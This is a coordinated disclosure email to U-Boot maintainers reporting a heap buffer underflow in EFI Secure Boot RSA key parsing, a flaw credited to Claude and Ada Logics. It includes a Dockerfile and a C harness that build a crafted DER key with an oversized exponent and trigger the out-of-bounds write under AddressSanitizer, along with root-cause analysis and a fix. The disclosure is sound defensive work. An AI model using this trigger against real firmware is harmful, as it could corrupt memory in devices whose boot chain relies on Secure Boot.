Hello U-Boot maintainers,
I'd like to report a High-severity security issue in U-Boot
(https://github.com/u-boot/u-boot /
https://git.u-boot-project.org/u-boot/u-boot) related to possible heap buffer
overflow in U-Boot EFI image verification under Secure Boot.
I have attached 3 files with this email as described below.
1) report.md: A full description of the vulnerability and how to reproduce it,
together with suggested fix of the issue.
2) Dockerfile: A Dockerfile for demonstrating the issue.
3) driver.c: Work with the Dockerfile to demonstrate the issue.
Attribution
-----------
Please attribute Claude and Ada Logics. This issue was found by Anthropic from
using agents to study security of open source projects, and I am from Ada
Logics helping validate the found issues and creating the report manually and
notify the maintainers.
Disclosure
----------
This report follows a 90-day coordinated disclosure deadline. I'm happy to
coordinate on the exact timing and to provide any further detail you need.
Kind regards,
Arthur Chan
ADA Logics Ltd is registered in England. No: 11624074.
Registered office: 266 Banbury Road, Post Box 292,
OX2 7DL, Oxford, Oxfordshire , United Kingdom
# PoC: EFI Secure Boot pre-verification RSA exponent heap underflow in U-Boot
# Drives the REAL rsa_get_e() + rsa_gen_key_prop() path over a crafted DER
# RSA public key and observes the underflowing memcpy under AddressSanitizer.
FROM ubuntu:24.04
ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update && apt-get install -y --no-install-recommends \
ca-certificates git gcc libc6-dev libasan8 && \
rm -rf /var/lib/apt/lists/*
ENV PIN=ece349ade2973e220f524ce59e59711cc919263f
# Clone and pin the real upstream tree, then assert HEAD == PIN.
RUN git clone https://github.com/u-boot/u-boot.git /u-boot && \
cd /u-boot && git checkout --detach "$PIN" && \
test "$(git rev-parse HEAD)" = "$PIN" && \
echo "HEAD pinned at $PIN"
WORKDIR /poc
# Real upstream sources that make up the executed path (copied verbatim).
RUN cp /u-boot/lib/asn1_decoder.c src_asn1_decoder.c && \
cp /u-boot/lib/crypto/rsa_helper.c src_rsa_helper.c && \
cp /u-boot/lib/rsa/rsa-keyprop.c src_rsa_keyprop.c
# Build the upstream ASN.1 compiler and generate the rsapubkey decoder tables
# exactly as the U-Boot build does (scripts/Makefile.build rule).
RUN mkdir -p acinc/linux && \
cp /u-boot/include/linux/asn1_ber_bytecode.h acinc/linux/ && \
cp /u-boot/include/linux/asn1.h acinc/linux/ && \
gcc -O1 -I acinc /u-boot/tools/asn1_compiler.c -o asn1_compiler && \
mkdir -p gen && \
./asn1_compiler /u-boot/lib/crypto/rsapubkey.asn1 \
gen/rsapubkey.asn1.c gen/rsapubkey.asn1.h
# Minimal host shim headers so the real sources build unmodified against libc.
# The three ASN.1 headers and struct rsa_key are the real upstream files.
RUN mkdir -p inc/linux inc/asm inc/crypto/internal inc/u-boot && \
cp /u-boot/include/linux/asn1_decoder.h inc/linux/ && \
cp /u-boot/include/linux/asn1_ber_bytecode.h inc/linux/ && \
cp /u-boot/include/crypto/internal/rsa.h inc/crypto/internal/ && \
{ printf '#include <stddef.h>\n#include <linux/types.h>\n'; \
cat /u-boot/include/linux/asn1.h; } > inc/linux/asn1.h && \
printf '%s\n' \
'#include <stdint.h>' '#include <stddef.h>' \
'typedef uint8_t u8;' 'typedef uint16_t u16;' \
'typedef uint32_t u32;' 'typedef uint64_t u64;' \
'typedef uint32_t __be32;' 'typedef uint16_t __be16;' \
> inc/linux/types.h && \
printf '%s\n' '#include <linux/types.h>' \
'#ifndef likely' \
'#define likely(x) __builtin_expect(!!(x), 1)' \
'#define unlikely(x) __builtin_expect(!!(x), 0)' '#endif' \
> inc/linux/kernel.h && \
printf '%s\n' '#include <errno.h>' > inc/linux/err.h && \
printf '%s\n' '#include <string.h>' > inc/linux/string.h && \
printf '%s\n' '#include <stdio.h>' \
'#define pr_devel(...) do {} while (0)' \
'#define pr_debug(...) do {} while (0)' \
'#define pr_info(...) do {} while (0)' \
'#define pr_warn(...) do {} while (0)' \
'#define pr_err(...) do {} while (0)' \
'#ifndef EXPORT_SYMBOL_GPL' '#define EXPORT_SYMBOL_GPL(x)' '#endif' \
'#ifndef EXPORT_SYMBOL' '#define EXPORT_SYMBOL(x)' '#endif' \
> inc/linux/printk.h && \
printf '%s\n' '#include <linux/types.h>' '#include <linux/printk.h>' \
'#ifndef MODULE_LICENSE' '#define MODULE_LICENSE(x)' \
'#define MODULE_AUTHOR(x)' '#define MODULE_DESCRIPTION(x)' '#endif' \
'#ifndef EXPORT_SYMBOL_GPL' '#define EXPORT_SYMBOL_GPL(x)' '#endif' \
'#ifndef EXPORT_SYMBOL' '#define EXPORT_SYMBOL(x)' '#endif' \
> inc/linux/compat.h && \
cp inc/linux/compat.h inc/linux/module.h && \
cp inc/linux/compat.h inc/linux/export.h && \
printf '%s\n' '#include <stdio.h>' \
'#ifndef debug' '#define debug(...) do {} while (0)' '#endif' \
> inc/log.h && \
printf '%s\n' '#include <stdlib.h>' '#include <errno.h>' > inc/malloc.h && \
: > inc/image.h && \
printf '%s\n' '#include <linux/types.h>' '#include <string.h>' \
'static inline u16 get_unaligned_be16(const void *p)' \
'{ u16 v; memcpy(&v, p, 2); return __builtin_bswap16(v); }' \
'static inline u32 get_unaligned_be32(const void *p)' \
'{ u32 v; memcpy(&v, p, 4); return __builtin_bswap32(v); }' \
'#define cpu_to_be32(x) ((__be32)__builtin_bswap32((u32)(x)))' \
> inc/asm/unaligned.h && \
printf '%s\n' '#include <linux/types.h>' \
'struct key_prop {' \
' const void *rr;' \
' const void *modulus;' \
' const void *public_exponent;' \
' uint32_t n0inv;' \
' int num_bits;' \
' uint32_t exp_len;' \
'};' \
'int rsa_gen_key_prop(const void *key, uint32_t keylen, struct key_prop
**prop);' \
'void rsa_free_key_prop(struct key_prop *prop);' \
> inc/u-boot/rsa-mod-exp.h
COPY driver.c driver.c
# __UBOOT__ selects the legacy (non-mbedtls) U-Boot code paths, which is
# precisely the configuration in which rsa_get_e()'s FIPS floor is compiled
# out and public_key_verify_signature() calls rsa_gen_key_prop().
RUN gcc -D__UBOOT__ -fsanitize=address -g -O1 -I inc -I gen \
driver.c src_asn1_decoder.c src_rsa_helper.c src_rsa_keyprop.c \
gen/rsapubkey.asn1.c -o poc
ENV ASAN_OPTIONS=detect_leaks=0:abort_on_error=1:symbolize=1
# Print the pin, then run the negative control, then the positive case.
# Each runs in its own process so the positive report is a clean left-redzone
# heap-buffer-overflow.
CMD sh -c 'echo "##### pin #####"; git -C /u-boot rev-parse HEAD; echo; \
./poc neg; echo; ./poc pos'
/*
* Focused ASan harness driving the real U-Boot RSA public-key property
* generator over a crafted DER RSA public key.
*
* The DER blob is parsed by the real asn1_ber_decoder() + rsapubkey_decoder,
* whose INTEGER callbacks are the real rsa_get_n()/rsa_get_e() from
* lib/crypto/rsa_helper.c. The resulting rsa_key is consumed by the real
* rsa_gen_key_prop() from lib/rsa/rsa-keyprop.c.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <u-boot/rsa-mod-exp.h>
/* Build a DER RSAPublicKey ::= SEQUENCE { INTEGER n, INTEGER e }. */
static unsigned char *der_append_int(unsigned char *p,
const unsigned char *val, size_t len)
{
*p++ = 0x02; /* INTEGER */
if (len < 0x80) {
*p++ = (unsigned char)len;
} else if (len < 0x100) {
*p++ = 0x81;
*p++ = (unsigned char)len;
} else {
*p++ = 0x82;
*p++ = (unsigned char)(len >> 8);
*p++ = (unsigned char)(len & 0xff);
}
memcpy(p, val, len);
return p + len;
}
static size_t build_pubkey_der(unsigned char *out,
const unsigned char *n, size_t n_len,
const unsigned char *e, size_t e_len)
{
unsigned char body[4096];
unsigned char *bp = body;
size_t body_len;
unsigned char *op = out;
bp = der_append_int(bp, n, n_len);
bp = der_append_int(bp, e, e_len);
body_len = (size_t)(bp - body);
*op++ = 0x30; /* SEQUENCE */
if (body_len < 0x80) {
*op++ = (unsigned char)body_len;
} else if (body_len < 0x100) {
*op++ = 0x81;
*op++ = (unsigned char)body_len;
} else {
*op++ = 0x82;
*op++ = (unsigned char)(body_len >> 8);
*op++ = (unsigned char)(body_len & 0xff);
}
memcpy(op, body, body_len);
return (size_t)(op - out) + body_len;
}
static int run_case(const char *label, size_t e_len)
{
unsigned char n[256];
unsigned char e[256];
unsigned char der[4096];
struct key_prop *prop = NULL;
size_t der_len;
int ret;
memset(n, 0xC0, sizeof(n)); /* 256-byte modulus, no leading 0 */
memset(e, 0x41, sizeof(e)); /* attacker exponent bytes 'AAAA' */
der_len = build_pubkey_der(der, n, sizeof(n), e, e_len);
printf("[%s] modulus n_sz=%zu exponent e_sz=%zu DER=%zu bytes\n",
label, sizeof(n), e_len, der_len);
printf("[%s] -> public_exponent = calloc(1, 8); "
"memcpy(dst + 8 - %zu, e, %zu)\n", label, e_len, e_len);
fflush(stdout);
ret = rsa_gen_key_prop(der, (uint32_t)der_len, &prop);
printf("[%s] rsa_gen_key_prop() returned %d (no overflow detected)\n",
label, ret);
fflush(stdout);
rsa_free_key_prop(prop);
return ret;
}
int main(int argc, char **argv)
{
const char *mode = argc > 1 ? argv[1] : "all";
if (!strcmp(mode, "neg") || !strcmp(mode, "all")) {
printf("== NEGATIVE CONTROL: e_sz = 3 "
"(fits in the 8-byte buffer) ==\n");
run_case("neg", 3);
}
if (!strcmp(mode, "pos") || !strcmp(mode, "all")) {
printf("== POSITIVE: e_sz = 64 (> 8, destination underflows) ==\n");
run_case("pos", 64);
printf("[pos] UNREACHABLE if the overflow is caught\n");
}
return 0;
}
# An attacker-controlled RSA exponent length in a signed EFI image underflows an 8-byte heap buffer before U-Boot decides whether the image is trusted
When U-Boot verifies a signed EFI executable under Secure Boot, it parses the RSA public key of every certificate carried inside the image, including the untrusted signer and chain certificates, before it has decided whether any of them chain to a trusted key in `db`/`KEK`. For each such key `rsa_gen_key_prop()` allocates an 8-byte buffer for the public exponent with `calloc(1, sizeof(uint64_t))` and then copies the exponent into it at the offset `public_exponent + sizeof(uint64_t) - rsa_key.e_sz`. The exponent length `e_sz` is taken directly from the ASN.1 INTEGER length in the attacker's certificate and is bounded only by the equally attacker-controlled modulus length (`vlen > key->n_sz` in `rsa_get_e()`); the FIPS-style lower bound that would constrain the modulus is compiled out of U-Boot builds. An exponent longer than eight bytes makes the destination pointer point before the start of the 8-byte allocation, and the subsequent `memcpy` writes attacker-chosen certificate bytes into the heap below it. An attacker who can present an untrusted signed PE to the firmware, for example a file on the EFI System Partition, on removable media, or delivered over HTTP boot, reaches this code before the trust verdict is reached. The bug is confirmed by an AddressSanitizer proof of concept that drives the real parse and property-generation path. It is gated on a legacy (non-mbedtls) crypto configuration with `CONFIG_EFI_SECURE_BOOT` and `RSA_VERIFY_WITH_PKEY` enabled; when built against mbedtls, `public_key_verify_signature()` uses the mbedtls variant and does not call `rsa_gen_key_prop()`.
## Root cause
`rsa_gen_key_prop()` allocates exactly eight bytes for the public exponent and then copies `rsa_key.e_sz` bytes to a destination computed by subtracting `e_sz` from the end of that buffer. When `e_sz` exceeds eight, `public_exponent + sizeof(uint64_t) - rsa_key.e_sz` lies before the allocation and the copy writes out of bounds below it.
https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/lib/rsa/rsa-keyprop.c#L688-L697
```c
/* exponent */
(*prop)->public_exponent = calloc(1, sizeof(uint64_t));
if (!(*prop)->public_exponent) {
ret = -ENOMEM;
goto out;
}
memcpy((void *)(*prop)->public_exponent + sizeof(uint64_t)
- rsa_key.e_sz,
rsa_key.e, rsa_key.e_sz);
(*prop)->exp_len = sizeof(uint64_t);
```
`e_sz` is set by `rsa_get_e()`, the ASN.1 callback for the exponent INTEGER. Its only length check is `vlen > key->n_sz`: the exponent may be as long as the modulus, and both come from the same attacker-supplied certificate. There is no upper bound relative to the eight-byte destination.
https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/lib/crypto/rsa_helper.c#L58-L71
```c
int rsa_get_e(void *context, size_t hdrlen, unsigned char tag,
const void *value, size_t vlen)
{
struct rsa_key *key = context;
/* invalid key provided */
if (!value || !key->n_sz || !vlen || vlen > key->n_sz)
return -EINVAL;
key->e = value;
key->e_sz = vlen;
return 0;
}
```
The only code that constrains the modulus length is the FIPS 2048-bit floor in `rsa_get_n()`, and it sits inside `#ifndef __UBOOT__`, so it is not compiled into U-Boot. Nothing else limits `n_sz`, so a certificate can declare a large modulus and thereby lift the ceiling on `e_sz`.
https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/lib/crypto/rsa_helper.c#L37-L50
```c
#ifndef __UBOOT__
if (fips_enabled) {
while (n_sz && !*ptr) {
ptr++;
n_sz--;
}
/* In FIPS mode only allow key size 2K and higher */
if (n_sz < 256) {
pr_err("RSA: key size not allowed in FIPS mode\n");
return -EINVAL;
}
}
#endif
```
The key handed to `rsa_gen_key_prop()` is the public key of an untrusted certificate. In the legacy path of `public_key_verify_signature()`, U-Boot copies the caller-supplied public key into `info.key` and calls `rsa_verify_with_pkey()`.
https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/lib/crypto/public_key.c#L103-L106
```c
info.key = pkey->key;
info.keylen = pkey->keylen;
if (rsa_verify_with_pkey(&info, sig->digest, sig->s, sig->s_size))
```
`rsa_verify_with_pkey()` passes that DER blob straight into `rsa_gen_key_prop()`, so parsing the untrusted key and copying its exponent happen as the first step of verification.
https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/lib/rsa/rsa-verify.c#L402-L410
```c
if (!CONFIG_IS_ENABLED(RSA_VERIFY_WITH_PKEY))
return -EACCES;
/* Public key is self-described to fill key_prop */
ret = rsa_gen_key_prop(info->key, info->keylen, &prop);
if (ret) {
debug("Generating necessary parameter for decoding failed\n");
return ret;
}
```
The public key that reaches `public_key_verify_signature()` belongs to a certificate embedded in the PKCS#7 signature of the image. `pkcs7_verify_one()` verifies each signer and walks the internal certificate chain, calling `public_key_verify_signature()` on the signer's public key and on every issuer public key in the chain.
https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/lib/crypto/pkcs7_verify.c#L541-L549
```c
/* Verify the PKCS#7 binary against the key */
ret = public_key_verify_signature(sinfo->signer->pub, sinfo->sig);
if (ret < 0)
return ret;
pr_devel("Verified signature %u\n", sinfo->index);
/* Verify the internal certificate chain */
return pkcs7_verify_sig_chain(pkcs7, sinfo, signer);
```
Crucially, `efi_signature_verify()` runs `pkcs7_verify_one()`, which performs all of the parsing above, before it ever consults the trust stores: only after the chain has been walked does it call `efi_lookup_certificate()` / `efi_verify_certificate()` against `db`. The overflow therefore fires on wholly untrusted input, ahead of the trust decision.
https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/lib/efi_loader/efi_signature.c#L538-L553
```c
EFI_PRINT("Verifying certificate chain\n");
signer = NULL;
ret = pkcs7_verify_one(msg, sinfo, &signer);
if (ret == -ENOPKG)
continue;
if (ret < 0 || !signer)
goto out;
......
EFI_PRINT("Verifying last certificate in chain\n");
if (efi_lookup_certificate(signer, db))
if (efi_signature_check_revocation(sinfo, signer, dbx))
break;
```
## Proof of Concept
The harness compiles the real upstream sources that make up the executed path, taken verbatim from the pinned tree: the ASN.1 BER decoder (`lib/asn1_decoder.c`), the RSA key helper with the real `rsa_get_n()` / `rsa_get_e()` callbacks (`lib/crypto/rsa_helper.c`), and `rsa_gen_key_prop()` itself (`lib/rsa/rsa-keyprop.c`). The `rsapubkey` decoder tables are generated at build time by the upstream `tools/asn1_compiler`, exactly as the U-Boot build does. Everything is built with `-D__UBOOT__`, which is what selects the code paths in scope: the FIPS floor is compiled out and the legacy verification path is active. The driver assembles a DER `RSAPublicKey ::= SEQUENCE { INTEGER n, INTEGER e }` and feeds it through the real `rsa_gen_key_prop()`, so the attacker-controlled `e_sz` flows through the real `rsa_get_e()` bound into the real underflowing `memcpy`. The pre-trust reachability from a signed EFI image (`efi_signature_verify` to `pkcs7_verify_one` to `public_key_verify_signature` to `rsa_verify_with_pkey`) is cited from the source shown above; the exponent-length underflow write is executed here. The negative control uses a three-byte exponent, which fits the 8-byte buffer; the positive case uses a 64-byte exponent, so the destination `public_exponent + 8 - 64` lands 56 bytes below the allocation and the 64-byte copy is written entirely out of bounds. The build fails unless the checked-out HEAD is exactly the pinned commit.
```
docker build -t poc . && docker run --rm poc
```
### Result
```
##### pin #####
ece349ade2973e220f524ce59e59711cc919263f
== NEGATIVE CONTROL: e_sz = 3 (fits in the 8-byte buffer) ==
[neg] modulus n_sz=256 exponent e_sz=3 DER=269 bytes
[neg] -> public_exponent = calloc(1, 8); memcpy(dst + 8 - 3, e, 3)
[neg] rsa_gen_key_prop() returned 0 (no overflow detected)
== POSITIVE: e_sz = 64 (> 8, destination underflows) ==
[pos] modulus n_sz=256 exponent e_sz=64 DER=330 bytes
[pos] -> public_exponent = calloc(1, 8); memcpy(dst + 8 - 64, e, 64)
=================================================================
==10==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x502000000000 at pc 0x7f0eac9bb303 bp 0x7ffe04cf2480 sp 0x7ffe04cf1c28
WRITE of size 64 at 0x502000000000 thread T0
#0 0x7f0eac9bb302 in memcpy ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors_memintrinsics.inc:115
#1 0x55972560a212 in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:29
#2 0x55972560a212 in rsa_gen_key_prop /poc/src_rsa_keyprop.c:694
#3 0x559725607b90 in run_case /poc/driver.c:83
#4 0x559725608034 in main /poc/driver.c:102
#5 0x7f0eac6d81c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#6 0x7f0eac6d828a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#7 0x559725607444 in _start (/poc/poc+0x2444) (BuildId: 4be3b109d1e533b88ebe9eabd29526b229f0e876)
0x502000000000 is located 16 bytes before 8-byte region [0x502000000010,0x502000000018)
allocated by thread T0 here:
#0 0x7f0eac9bd340 in calloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:77
#1 0x55972560a175 in rsa_gen_key_prop /poc/src_rsa_keyprop.c:689
SUMMARY: AddressSanitizer: heap-buffer-overflow ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors_memintrinsics.inc:115 in memcpy
==10==ABORTING
```
The negative control returns cleanly: with a three-byte exponent the destination `dst + 8 - 3` stays inside the 8-byte buffer, so `rsa_gen_key_prop()` returns 0. The positive case triggers an AddressSanitizer heap-buffer-overflow, a WRITE of 64 bytes located before the 8-byte region that was allocated by the `calloc(1, sizeof(uint64_t))` at `rsa-keyprop.c:689`, faulting inside the `memcpy` at `rsa-keyprop.c:694`. This is the exact write described in the root cause, with attacker-controlled certificate bytes landing on the heap below the allocation. The positive case aborts under ASan (process exit 134). Exploitation requires a U-Boot build with the legacy (non-mbedtls) crypto backend, `CONFIG_EFI_SECURE_BOOT`, and `RSA_VERIFY_WITH_PKEY`, and an attacker able to have the firmware attempt to verify a signed EFI image they supply.
## Mitigation
Bound the exponent length against the destination before copying. In `rsa_gen_key_prop()` (`lib/rsa/rsa-keyprop.c`), reject `rsa_key.e_sz > sizeof(uint64_t)` before the `memcpy`, returning an error rather than computing `public_exponent + sizeof(uint64_t) - rsa_key.e_sz`. Independently, validate the exponent length in `rsa_get_e()` (`lib/crypto/rsa_helper.c`) so that `vlen` cannot exceed the size the caller can hold, and add a U-Boot equivalent of the FIPS-style minimum on the modulus in `rsa_get_n()` so that `n_sz` cannot be inflated purely to lift the `e_sz <= n_sz` ceiling. Any of these checks placed ahead of the copy closes the underflow.
## Attribution
This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged manually with manual report writing by Ada Logics in collaboration with Anthropic Research.